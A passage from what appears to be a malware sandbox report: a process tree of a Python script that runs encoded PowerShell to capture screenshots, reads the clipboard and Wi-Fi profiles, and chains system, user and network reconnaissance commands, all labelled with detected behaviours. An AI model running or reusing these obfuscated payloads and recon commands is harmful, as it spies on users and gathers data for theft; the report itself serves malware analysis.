AAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        5⤵
        
        PID:3836
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:7424
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x1njrdgo\x1njrdgo.cmdline"
        7⤵
        
        PID:396
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE12B.tmp" "c:\Users\Admin\AppData\Local\Temp\x1njrdgo\CSC17ADE4BBD7804E26BFBAFE2EEEB8B.TMP"
        8⤵
        
        PID:2716
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:3516
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:768
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:5880

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:748

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
- Checks computer location settings
PID:5044
- C:\Windows\py.exe
  "C:\Windows\py.exe" "C:\Users\Admin\Downloads\main.py"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4288
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main.py"
    3⤵
    - Executes dropped EXE
    PID:7284
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe C:\Users\Admin\AppData\Local\Temp\test.py
      4⤵
      Executes dropped EXE
      PID:7476
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:7388
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:1092
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6952
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        5⤵
        
        PID:3436
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:6924
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        5⤵
        
        PID:460
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:2200
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        5⤵
        
        PID:6224
      - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        6⤵
        
        PID:6616
        
        C:\Windows\system32\chcp.com
        
        chcp
        7⤵
        
        PID:232
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        5⤵
        
        PID:7836
      - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        6⤵
        
        PID:8164
        
        C:\Windows\system32\chcp.com
        
        chcp
        7⤵
        
        PID:7516
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:8144
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:6636
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
        5⤵
        Clipboard Data
        
        PID:7788
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Get-Clipboard
        6⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:7272
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        5⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5068
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:7760
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
        5⤵
        Network Service Discovery
        
        PID:4844
      - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        6⤵
        Gathers system information
        
        PID:7612
      - C:\Windows\system32\HOSTNAME.EXE
        
        hostname
        6⤵
        
        PID:7896
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic logicaldisk get caption,description,providername
        6⤵
        Collects information from the system
        Suspicious behavior: EnumeratesProcesses
        
        PID:7480
      - C:\Windows\system32\net.exe
        
        net user
        6⤵
        
        PID:4436
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        7⤵
        
        PID:6996
      - C:\Windows\system32\query.exe
        
        query user
        6⤵
        
        PID:7796
        
        C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        7⤵
        
        PID:5848
      - C:\Windows\system32\net.exe
        
        net localgroup
        6⤵
        
        PID:5640
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        7⤵
        
        PID:3688
      - C:\Windows\system32\net.exe
        
        net localgroup administrators
        6⤵
        
        PID:6688
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        7⤵
        
        PID:1888
      - C:\Windows\system32\net.exe
        
        net user guest
        6⤵
        
        PID:2480
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        7⤵
        
        PID:8048
      - C:\Windows\system32\net.exe
        
        net user administrator
        6⤵
        
        PID:7364
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        7⤵
        
        PID:996
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic startup get caption,command
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3536
      - C:\Windows\system32\tasklist.exe
        
        tasklist /svc
        6⤵
        Enumerates processes with tasklist
        
        PID:7976
      - C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        6⤵
        Gathers network information
        
        PID:7924
      - C:\Windows\system32\ROUTE.EXE
        
        route print
        6⤵
        
        PID:4452
      - C:\Windows\system32\ARP.EXE
        
        arp -a
        6⤵
        Network Service Discovery
        
        PID:4924
      - C:\Windows\system32\NETSTAT.EXE
        
        netstat -ano
        6⤵
        System Network Connections Discovery
        Gathers network information
        
        PID:6980
      - C:\Windows\system32\sc.exe
        
        sc query type= service state= all
        6⤵
        Launches sc.exe
        
        PID:4672
      - C:\Windows\system32\netsh.exe
        
        netsh firewall show state
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4272
      - C:\Windows\system32\netsh.exe
        
        netsh firewall show config
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1164
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:8008
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:7196
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        5⤵
        
        PID:2916
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIA